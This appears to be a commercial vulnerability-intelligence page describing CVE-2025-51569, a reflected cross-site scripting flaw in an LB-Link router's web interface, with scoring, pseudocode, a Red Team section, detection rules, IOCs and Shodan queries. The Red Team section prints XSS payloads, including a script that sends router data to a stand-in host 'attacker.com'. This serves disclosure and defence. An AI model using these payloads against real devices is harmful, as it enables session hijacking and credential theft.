☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-51569

CVE-2025-51569 Cross-Site Scripting in Lb-link
📅 PUBLISHED: 2025-07-31 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.48%
👁️
0.48% probability
11.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 01.01.02P42U14_06
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-51569 is a reflected cross-site scripting (XSS) vulnerability in the LB-Link BL-CPE300M router (firmware version 01.01.02P42U14_06). The vulnerability exists in the /goform/goform_get_cmd_process endpoint, where the cmd parameter is not sanitized before being reflected into a text/html response. An unauthenticated attacker can craft a malicious URL that, when visited by a victim (e.g., an administrator), executes arbitrary JavaScript in the context of the router's web interface. This can lead to session hijacking, credential theft, or further device compromise. The vulnerability is unpatched, and no official fix is available from the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction (clicking a link), but the impact includes potential session hijacking and credential theft, which can lead to full device compromise.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the router's web management interface. The endpoint /goform/goform_get_cmd_process is used to retrieve device status information. The cmd parameter is directly reflected into the HTTP response body without any sanitization or encoding. The response Content-Type is text/html, allowing the browser to interpret injected HTML/JavaScript.

Attack Flow:

  1. Attacker crafts a URL: http://<router-ip>/goform/goform_get_cmd_process?cmd=<script>alert('XSS')</script>
  2. Attacker sends this URL to a victim (e.g., via phishing email or social engineering).
  3. Victim, authenticated to the router's web interface, clicks the link.
  4. The router's web server reflects the unsanitized cmd parameter into the response.
  5. The victim's browser executes the injected JavaScript in the context of the router's origin.
  6. The script can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: Lack of input validation and output encoding on the cmd parameter. The router's firmware does not implement any security controls for this endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Pseudocode of vulnerable endpoint
def handle_get_cmd_process(request):
    cmd = request.GET.get('cmd')
    response = "<html><body>" + cmd + "</body></html>"
    return HttpResponse(response, content_type="text/html")

Patched Code (Conceptual):

# Pseudocode of patched endpoint
import html
def handle_get_cmd_process(request):
    cmd = request.GET.get('cmd')
    sanitized_cmd = html.escape(cmd)  # HTML-encode special characters
    response = "<html><body>" + sanitized_cmd + "</body></html>"
    return HttpResponse(response, content_type="text/html")

Key Differences:

  • The patched version uses html.escape() to convert <, >, ", ', and & to their HTML entity equivalents, preventing script injection.
  • The vulnerable version directly concatenates user input into the HTML response.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A vulnerable LB-Link BL-CPE300M router (firmware 01.01.02P42U14_06).
  • A victim who is authenticated to the router's web interface.
  • A web server to host the exploit page (optional, for more sophisticated attacks).

Exploit Payload:

<script>alert('XSS')</script>

Crafted URL:

http://192.168.1.1/goform/goform_get_cmd_process?cmd=<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

<script>
fetch('/goform/goform_get_cmd_process?cmd=admin_password')
  .then(response => response.text())
  .then(data => {
    new Image().src = 'http://attacker.com/steal?data=' + encodeURIComponent(data);
  });
</script>

Lab Setup:

  1. Set up a vulnerable router in an isolated network.
  2. Use a browser (e.g., Firefox) to access the router's web interface and authenticate.
  3. Open a new tab and paste the crafted URL.
  4. Observe the JavaScript execution (e.g., alert box or network request to attacker server).

Blue Team

Detection:

  • Monitor HTTP requests to /goform/goform_get_cmd_process with suspicious cmd parameters containing <script>, onerror, javascript:, or other XSS indicators.
  • Look for anomalous outbound connections from the router's IP to unknown destinations (potential data exfiltration).

Hunting:

  • Search web server logs for requests to /goform/goform_get_cmd_process with URL-encoded HTML tags.
  • Use network traffic analysis to detect JavaScript callbacks to attacker-controlled servers.

Mitigation:

  • Isolate the router management interface from the internet and untrusted networks.
  • Implement a Web Application Firewall (WAF) to filter XSS payloads.
  • If possible, apply a reverse proxy that sanitizes the cmd parameter.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /goform/goform_get_cmd_process with cmd parameter containing <script> or other HTML tags.
    • Outbound HTTP/HTTPS requests from the router to unknown IP addresses (potential data exfiltration).
  • File IOCs:
    • Modified router configuration files (e.g., /etc/config/*).
    • Presence of unexpected JavaScript files in the router's web root.
  • Behavioral IOCs:
    • Unusual admin account activity (e.g., password changes, new user creation).
    • Unexpected reboots or configuration changes.

Detection Engineering

YARA Rule

rule CVE_2025_51569_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts against LB-Link BL-CPE300M router"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51569"
    strings:
        $xss_payload = /cmd=.*<script[^>]*>.*<\/script>/i
        $xss_onerror = /cmd=.*onerror\s*=/i
        $xss_javascript = /cmd=.*javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on LB-Link BL-CPE300M Router
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to /goform/goform_get_cmd_process with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/goform/goform_get_cmd_process'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51569 Reflected XSS Attempt on LB-Link BL-CPE300M"; flow:to_server; content:"/goform/goform_get_cmd_process"; http_uri; content:"cmd="; http_uri; pcre:"/cmd=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the router: Place the router behind a firewall and restrict access to the management interface to trusted IPs only.
  2. Disable remote management: If not required, disable WAN-side access to the web interface.
  3. Apply a WAF: Use a Web Application Firewall (e.g., ModSecurity) to filter XSS payloads.

Long-term Fix:

  • The vendor (LB-Link) must release a firmware update that sanitizes the cmd parameter. Since no patch is available, consider replacing the device with a more secure alternative.

Workaround:

  • Implement a reverse proxy (e.g., Nginx) that inspects and sanitizes requests to /goform/goform_get_cmd_process before forwarding them to the router.

User Awareness:

  • Train users not to click on suspicious links, especially those containing IP addresses of network devices.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"BL-CPE300M"
http.html:"LB-Link"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-51569/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.